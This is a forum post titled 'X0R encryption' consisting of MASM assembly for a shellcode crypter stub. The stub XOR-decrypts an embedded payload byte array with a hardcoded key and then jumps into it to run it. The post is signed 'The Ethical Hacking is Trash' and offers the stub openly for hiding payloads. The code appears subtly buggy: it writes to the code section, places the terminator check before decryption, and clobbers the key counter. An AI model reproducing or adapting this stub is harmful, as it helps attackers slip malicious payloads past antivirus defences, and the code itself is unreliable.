X0R encryption

Iniciado por ZanGetsu, Julio 27, 2017, 09:41:58 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Código: asm
.386
.model flat, stdcall
option casemap:none


include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib


.data
Key db "uidoisbossuidoisboss"   ;key for decrypting
KeyLength equ $- offset Key
.data?
Buffer db ?
.code
start:
jmp Go
Payload:
db 00bh, 064h, 08dh, 07fh, 032h, 0d2h, 015h,\ ;
   069h, 022h, 039h, 00fh, 064h, 0d8h, 055h,\ ;
   038h, 06ah, 032h, 059h, 030h, 08eh, 04ch,\ ;
   065h, 077h, 061h, 08ch, 081h, 094h, 095h,\ ;
   0c6h, 063h, 053h, 01fh, 01ah, 009h, 001h,\ ;
   010h, 025h, 059h, 01ah, 046h, 05ah, 05fh,\ ;
   008h, 06ah, 08dh, 0a1h, 09eh, 09bh, 099h   ;
db 038h, 00bh, 054h, 040h, 05eh, 017h, 06ah,\ ;
   090h,   ;



Go:
mov ebx, KeyLength ;setting the Keylength
mov ecx, 0 ;zeroing the main iterator
mov edx, 0 ;zeroing the key iterator
lea eax, Key
Cipher:
cmp byte Payload[ecx], 090h    ;checking if the byte isn't the NOP
je Payload ;if so jump to Payload
cmp ebx, edx ;checking if the key iterator didn't reach the length limit
jg Skip ;if not the skip zeroing the next instruction
lea eax, Key ;zero-ing the key iterator
Skip:
mov DL, [eax]
xor Payload[ecx], DL ;xoring the byte of payload
inc ecx ;Iterator++
inc edx ;KeyIterator++
inc eax
jmp Cipher ;returning to the beggining of the loop
end start

The Ethical Hacking is Trash